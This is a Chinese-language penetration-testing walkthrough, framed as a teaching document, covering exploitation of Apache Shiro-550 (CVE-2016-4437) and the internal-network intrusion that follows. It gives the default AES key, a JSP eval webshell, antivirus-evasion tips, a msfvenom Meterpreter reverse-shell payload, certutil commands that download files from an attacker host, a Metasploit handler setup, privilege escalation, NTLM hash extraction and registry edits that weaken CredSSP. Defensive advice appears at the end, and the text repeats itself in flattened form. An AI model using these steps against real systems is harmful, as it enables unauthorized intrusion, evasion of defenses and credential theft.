记一次从shiro-550到内网渗透的全过程
字数 1352 2025-08-29 08:32:19

Shiro-550漏洞利用与内网渗透实战教学文档

一、Shiro-550漏洞原理分析

1.1 漏洞背景

Apache Shiro是一个Java安全框架,提供认证、授权、加密和会话管理等功能。Shiro-550(CVE-2016-4437)是一个严重的反序列化漏洞,影响版本1.2.5及以下。

1.2 漏洞原理

Shiro框架在登录时,如果勾选了"RememberMe"功能,关闭浏览器再次访问时无需再次登录,此时cookie中会增加一个rememberMe字段,其值经过以下处理:

  1. 序列化
  2. AES加密
  3. Base64编码

后端处理过程为:

  1. Base64解码
  2. AES解密
  3. 反序列化

1.3 关键漏洞点

  • 硬编码密钥:AES加密使用的密钥被硬编码在程序中,攻击者可以获取默认密钥
  • IV值泄露:AES加密后,IV值会被放在密文前16字节,通过Base64解码可获取
  • 反序列化漏洞:解密后的数据会被反序列化,可构造恶意对象触发RCE

1.4 默认密钥示例

常见默认密钥:

kPH+bIxk5D2deZiIxcaaaA==

二、漏洞检测与利用

2.1 指纹识别

  1. 使用工具识别Shiro框架:

    • Ehole3.0重构版
    • 手动检测:添加rememberMe字段,观察响应是否包含rememberMe=deleteMe
  2. 检测登录功能:

    • 检查是否有"记住我"功能
    • 抓包查看是否有rememberMe字段

2.2 密钥碰撞

使用工具进行密钥碰撞:

  1. 准备常见密钥字典
  2. 使用ShiroExploit等工具进行批量测试
  3. 成功碰撞出有效密钥

2.3 命令执行

利用步骤:

  1. 构造恶意序列化对象
  2. 使用获取的密钥和IV进行AES加密
  3. 将IV值放在密文前16字节
  4. Base64编码后替换rememberMe字段值
  5. 发送请求触发RCE

三、权限维持与内网渗透

3.1 Webshell上传

  1. 尝试直接写入JSP Webshell:

    echo ^<%eval request("cmd");%^>>yl_test.jsp
    
    • 可能被杀毒软件拦截
  2. 使用BCEL进行免杀:

    • 构造BCEL格式的Webshell
    • 上传到非默认目录避免检测

3.2 MSF上线

  1. 生成Payload:

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxx lport=1234 -f c >1234.c
    
  2. 免杀处理:

    • 使用分离免杀技术生成test.exe和test.txt
    • 通过HTTP服务提供下载
  3. 目标机器执行:

    certutil.exe -urlcache -split -f http://xxx:1111/test.txt
    certutil.exe -urlcache -split -f http://xxx:1111/test.exe
    
  4. MSF监听设置:

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost xxx
    set lport 1234
    run
    

3.3 信息收集

  1. 系统信息:

    systeminfo
    
  2. 网络信息:

    ipconfig /all
    netstat -ano
    
  3. 用户信息:

    net user
    whoami /all
    
  4. 进程信息:

    tasklist /svc
    

3.4 权限提升

  1. 获取SYSTEM权限:

    getsystem
    
  2. 密码提取:

    • 导出NTLM Hash
    • 使用工具破解

3.5 远程桌面连接

  1. 查找RDP端口:

    tasklist /svc | findstr "svchost.exe"
    netstat -ano | findstr "PID"
    
  2. 解决连接问题:

    • 修改注册表解决CredSSP加密Oracle修复:
    New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name CredSSP -Force
    New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP -Name Parameters -Force
    Get-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters | New-ItemProperty -Name AllowEncryptionOracle -Value 2 -PropertyType DWORD -Force
    
    • 使用Remmina等第三方工具连接

四、防御建议

4.1 针对Shiro-550漏洞

  1. 升级到最新版本
  2. 修改默认密钥为随机强密钥
  3. 禁用RememberMe功能或实现自定义加密逻辑

4.2 系统安全加固

  1. 安装杀毒软件并保持更新
  2. 限制不必要的网络端口
  3. 实施最小权限原则
  4. 定期审计系统日志

4.3 应急响应

  1. 发现入侵后立即隔离系统
  2. 重置所有凭据
  3. 检查系统后门
  4. 分析攻击路径并修补漏洞

五、总结

本案例展示了从Shiro-550漏洞发现到内网渗透的完整过程,涉及:

  1. 漏洞检测与利用
  2. Webshell上传与免杀
  3. 权限维持与提升
  4. 内网信息收集
  5. 远程控制技术

通过此案例,安全人员可以了解攻击者的完整攻击链,从而更好地防御此类攻击。

Shiro-550漏洞利用与内网渗透实战教学文档 一、Shiro-550漏洞原理分析 1.1 漏洞背景 Apache Shiro是一个Java安全框架,提供认证、授权、加密和会话管理等功能。Shiro-550(CVE-2016-4437)是一个严重的反序列化漏洞,影响版本1.2.5及以下。 1.2 漏洞原理 Shiro框架在登录时,如果勾选了"RememberMe"功能,关闭浏览器再次访问时无需再次登录,此时cookie中会增加一个rememberMe字段,其值经过以下处理: 序列化 AES加密 Base64编码 后端处理过程为: Base64解码 AES解密 反序列化 1.3 关键漏洞点 硬编码密钥 :AES加密使用的密钥被硬编码在程序中,攻击者可以获取默认密钥 IV值泄露 :AES加密后,IV值会被放在密文前16字节,通过Base64解码可获取 反序列化漏洞 :解密后的数据会被反序列化,可构造恶意对象触发RCE 1.4 默认密钥示例 常见默认密钥: 二、漏洞检测与利用 2.1 指纹识别 使用工具识别Shiro框架: Ehole3.0重构版 手动检测:添加rememberMe字段,观察响应是否包含 rememberMe=deleteMe 检测登录功能: 检查是否有"记住我"功能 抓包查看是否有rememberMe字段 2.2 密钥碰撞 使用工具进行密钥碰撞: 准备常见密钥字典 使用ShiroExploit等工具进行批量测试 成功碰撞出有效密钥 2.3 命令执行 利用步骤: 构造恶意序列化对象 使用获取的密钥和IV进行AES加密 将IV值放在密文前16字节 Base64编码后替换rememberMe字段值 发送请求触发RCE 三、权限维持与内网渗透 3.1 Webshell上传 尝试直接写入JSP Webshell: 可能被杀毒软件拦截 使用BCEL进行免杀: 构造BCEL格式的Webshell 上传到非默认目录避免检测 3.2 MSF上线 生成Payload: 免杀处理: 使用分离免杀技术生成test.exe和test.txt 通过HTTP服务提供下载 目标机器执行: MSF监听设置: 3.3 信息收集 系统信息: 网络信息: 用户信息: 进程信息: 3.4 权限提升 获取SYSTEM权限: 密码提取: 导出NTLM Hash 使用工具破解 3.5 远程桌面连接 查找RDP端口: 解决连接问题: 修改注册表解决CredSSP加密Oracle修复: 使用Remmina等第三方工具连接 四、防御建议 4.1 针对Shiro-550漏洞 升级到最新版本 修改默认密钥为随机强密钥 禁用RememberMe功能或实现自定义加密逻辑 4.2 系统安全加固 安装杀毒软件并保持更新 限制不必要的网络端口 实施最小权限原则 定期审计系统日志 4.3 应急响应 发现入侵后立即隔离系统 重置所有凭据 检查系统后门 分析攻击路径并修补漏洞 五、总结 本案例展示了从Shiro-550漏洞发现到内网渗透的完整过程,涉及: 漏洞检测与利用 Webshell上传与免杀 权限维持与提升 内网信息收集 远程控制技术 通过此案例,安全人员可以了解攻击者的完整攻击链,从而更好地防御此类攻击。